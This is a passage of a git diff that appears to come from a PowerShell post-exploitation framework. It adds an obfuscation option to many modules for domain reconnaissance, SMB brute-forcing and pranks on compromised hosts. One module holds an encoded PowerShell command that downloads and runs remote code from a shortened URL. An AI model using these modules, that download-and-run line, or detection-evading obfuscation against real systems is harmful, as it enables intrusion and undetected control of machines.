script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py index 295ff6853..ad43d4be4 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py @@ -75,7 +75,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -106,5 +106,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py index 84b333472..4b7189f8f 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py @@ -66,7 +66,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -97,5 +97,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py b/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py index da5a3d459..49c34aea9 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py @@ -60,7 +60,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -91,5 +91,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py b/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py index 87467f8a0..4ed84c1f4 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py b/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py index ea4fd805f..7c5521757 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py index 85cd4fcdd..28dd8eecd 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py @@ -80,7 +80,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -111,5 +111,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index c1bdb037b..1932b95de 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -65,7 +65,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -108,5 +108,6 @@ def generate(self): script += '} | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_group.py b/lib/modules/powershell/situational_awareness/network/powerview/get_group.py index d92dffb76..f21e51fff 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_group.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_group.py @@ -90,7 +90,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -121,5 +121,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py b/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py index 54e423e32..010b54d7e 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py @@ -90,7 +90,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -121,5 +121,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py b/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py index 5179cf464..0fc757f33 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py @@ -76,7 +76,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -107,5 +107,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py b/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py index 33d60c513..3422d5d9b 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py b/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py index ec2f03895..2acb7aa1b 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py @@ -101,7 +101,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -132,5 +132,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py b/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py index 8a9ae9954..15a4e902a 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py @@ -80,7 +80,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -111,5 +111,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py b/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py index c09378611..ce408c8a3 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -87,5 +87,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_session.py b/lib/modules/powershell/situational_awareness/network/powerview/get_session.py index 980bed2fe..feea3fb4b 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_session.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_session.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_site.py b/lib/modules/powershell/situational_awareness/network/powerview/get_site.py index c98ab3f54..e2889bcc7 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_site.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_site.py @@ -80,7 +80,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -111,5 +111,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py b/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py index 1dbba09e5..cfef75105 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py @@ -75,7 +75,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -106,5 +106,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_user.py b/lib/modules/powershell/situational_awareness/network/powerview/get_user.py index e93f9c177..4ac729b49 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_user.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_user.py @@ -90,7 +90,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -121,5 +121,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py b/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py index aed0ec7a8..764fc637f 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py @@ -60,7 +60,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -91,5 +91,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py b/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py index de7b4d4e3..312088635 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py @@ -115,7 +115,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -146,5 +146,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py b/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py index 2a0e745b9..3c6379e6c 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py @@ -92,7 +92,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -123,5 +123,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py b/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py index f755a5521..ba4558403 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py @@ -90,7 +90,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -121,5 +121,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py b/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py index 3077168a4..05631cd15 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py @@ -126,7 +126,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -157,5 +157,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/reverse_dns.py b/lib/modules/powershell/situational_awareness/network/reverse_dns.py index ecbf1069e..26e3069a4 100644 --- a/lib/modules/powershell/situational_awareness/network/reverse_dns.py +++ b/lib/modules/powershell/situational_awareness/network/reverse_dns.py @@ -60,11 +60,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ReverseDNSLookup.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -76,18 +78,20 @@ def generate(self): script = moduleCode - script += "Invoke-ReverseDNSLookup" + scriptEnd = "Invoke-ReverseDNSLookup" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) # only return objects where HostName is not an IP (i.e. the address resolves) - script += " | % {try{$entry=$_; $ipObj = [System.Net.IPAddress]::parse($entry.HostName); if(-not [System.Net.IPAddress]::tryparse([string]$_.HostName, [ref]$ipObj)) { $entry }} catch{$entry} } | Select-Object HostName, AddressList | ft -autosize | Out-String | %{$_ + \"`n\"}" - + scriptEnd += " | % {try{$entry=$_; $ipObj = [System.Net.IPAddress]::parse($entry.HostName); if(-not [System.Net.IPAddress]::tryparse([string]$_.HostName, [ref]$ipObj)) { $entry }} catch{$entry} } | Select-Object HostName, AddressList | ft -autosize | Out-String | %{$_ + \"`n\"}" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/smbautobrute.py b/lib/modules/powershell/situational_awareness/network/smbautobrute.py index f47037b7d..8da9d7ffb 100644 --- a/lib/modules/powershell/situational_awareness/network/smbautobrute.py +++ b/lib/modules/powershell/situational_awareness/network/smbautobrute.py @@ -100,11 +100,14 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SMBAutoBrute.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -115,7 +118,7 @@ def generate(self): f.close() script = moduleCode - scriptcmd = "Invoke-SMBAutoBrute" + scriptEnd = "Invoke-SMBAutoBrute" # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -123,9 +126,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - scriptcmd += " -" + str(option) + scriptEnd += " -" + str(option) else: - scriptcmd += " -" + str(option) + " " + str(values['Value']) - script += scriptcmd - #print helpers.color(scriptcmd) + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/smbscanner.py b/lib/modules/powershell/situational_awareness/network/smbscanner.py index c1428504a..b78469395 100644 --- a/lib/modules/powershell/situational_awareness/network/smbscanner.py +++ b/lib/modules/powershell/situational_awareness/network/smbscanner.py @@ -75,11 +75,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -90,7 +92,7 @@ def generate(self): f.close() script = moduleCode + "\n" - + scriptEnd = "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": @@ -115,20 +117,22 @@ def generate(self): if (self.options['ComputerName']['Value'] != ''): usernames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\"" - script += usernames + " | " + scriptEnd += usernames + " | " - script += "Invoke-SMBScanner " + scriptEnd += "Invoke-SMBScanner " for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " '" + str(values['Value']) + "'" - - script += "| Out-String | %{$_ + \"`n\"};" - script += "'Invoke-SMBScanner completed'" + scriptEnd += " -" + str(option) + " '" + str(values['Value']) + "'" + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "'Invoke-SMBScanner completed'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/trollsploit/get_schwifty.py b/lib/modules/powershell/trollsploit/get_schwifty.py index 70496f6ed..90abefbf2 100644 --- a/lib/modules/powershell/trollsploit/get_schwifty.py +++ b/lib/modules/powershell/trollsploit/get_schwifty.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ Function Get-Schwifty @@ -98,5 +98,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += "; 'Agent is getting schwifty!'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/message.py b/lib/modules/powershell/trollsploit/message.py index 02ea94274..78c31bef0 100644 --- a/lib/modules/powershell/trollsploit/message.py +++ b/lib/modules/powershell/trollsploit/message.py @@ -65,7 +65,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-Message { @@ -94,5 +94,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/process_killer.py b/lib/modules/powershell/trollsploit/process_killer.py index 318bd177a..25ab191c7 100644 --- a/lib/modules/powershell/trollsploit/process_killer.py +++ b/lib/modules/powershell/trollsploit/process_killer.py @@ -64,7 +64,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-ProcessKiller { @@ -109,5 +109,6 @@ def generate(self): else: script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/rick_ascii.py b/lib/modules/powershell/trollsploit/rick_ascii.py index a4d220a5c..9cbdef08f 100644 --- a/lib/modules/powershell/trollsploit/rick_ascii.py +++ b/lib/modules/powershell/trollsploit/rick_ascii.py @@ -50,7 +50,10 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") - return "$Null = Start-Process -WindowStyle Maximized -FilePath \"C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe\" -ArgumentList \"-enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA\"; 'Client Rick-Asciied!'" + script = "$Null = Start-Process -WindowStyle Maximized -FilePath \"C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe\" -ArgumentList \"-enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA\"; 'Client Rick-Asciied!'" + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/trollsploit/rick_astley.py b/lib/modules/powershell/trollsploit/rick_astley.py index 47dc51472..733aa8781 100644 --- a/lib/modules/powershell/trollsploit/rick_astley.py +++ b/lib/modules/powershell/trollsploit/rick_astley.py @@ -50,13 +50,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/trollsploit/Get-RickAstley.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -66,8 +68,10 @@ def generate(self): script = f.read() f.close() - script += moduleName + " " - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = moduleName + " " + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/trollsploit/thunderstruck.py b/lib/modules/powershell/trollsploit/thunderstruck.py index 6da6a9e32..041b2595c 100644 --- a/lib/modules/powershell/trollsploit/thunderstruck.py +++ b/lib/modules/powershell/trollsploit/thunderstruck.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ Function Invoke-Thunderstruck @@ -98,5 +98,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += "; 'Agent Thunderstruck.'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/voicetroll.py b/lib/modules/powershell/trollsploit/voicetroll.py index ef4c3574e..2d0eb8080 100644 --- a/lib/modules/powershell/trollsploit/voicetroll.py +++ b/lib/modules/powershell/trollsploit/voicetroll.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ Function Invoke-VoiceTroll @@ -84,5 +84,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/wallpaper.py b/lib/modules/powershell/trollsploit/wallpaper.py index f4bd50ec7..cdb21c530 100644 --- a/lib/modules/powershell/trollsploit/wallpaper.py +++ b/lib/modules/powershell/trollsploit/wallpaper.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, 